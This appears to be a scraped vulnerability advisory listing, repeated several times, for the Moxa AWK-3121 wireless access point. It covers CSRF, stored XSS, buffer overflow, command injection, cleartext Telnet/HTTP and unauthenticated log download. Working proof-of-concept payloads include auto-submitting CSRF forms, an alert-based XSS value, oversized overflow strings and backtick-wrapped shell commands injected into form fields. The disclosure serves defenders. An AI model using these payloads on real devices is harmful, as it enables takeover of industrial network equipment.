https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. However, the same functionality allows an attacker to execute XSS by injecting an XSS payload. The POST parameter "iw_board_deviceName" is susceptible to this injection. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. The POST parameter "iw_filename" is susceptible to buffer overflow. By crafting a packet that contains a string of 162 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. The POST parameter "iw_filename" is susceptible to command injection via shell metacharacters. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. The POST parameter "iw_serverip" is susceptible to buffer overflow. By crafting a packet that contains a string of 480 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

An issue was discovered on Moxa AWK-3121 1.14 devices. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_filename" is susceptible to command injection via shell metacharacters. Moxa AWK-3121 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Moxa AWK-3121 is an industrial-grade wireless access point produced by Moxa Corporation of Taiwan, China. This vulnerability stems from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. It is intended that an administrator can download /systemlog.log (the system log). ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. It provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. By crafting a packet that contains a string of 516 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. An administrator who uses the open wireless connection to set up the device can allow an attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. By crafting a packet that contains a string of 678 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. The Moxa AWK 3121 provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. The Moxa AWK 3121 provides certfile upload functionality so that an administrator can upload a certificate file used for connecting to the wireless network. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. By crafting a packet that contains a string of 162 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. By crafting a packet that contains a string of 480 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

An issue was discovered on Moxa AWK-3121 1.14 devices. It provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "srvName" is susceptible to a buffer overflow. By crafting a packet that contains a string of 516 characters, it is possible for an attacker to execute the attack. Moxa AWK-3121 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Moxa AWK-3121 is an industrial-grade wireless access point produced by Moxa Corporation of Taiwan, China. Moxa AWK-3121 A buffer error vulnerability exists in the 'srvName' parameter in version 1.14. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. It is intended that an administrator can download /systemlog.log (the system log). ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. An administrator who uses the open wireless connection to set up the device can allow an attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. The device provides a web interface to allow an administrator to manage the device. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" 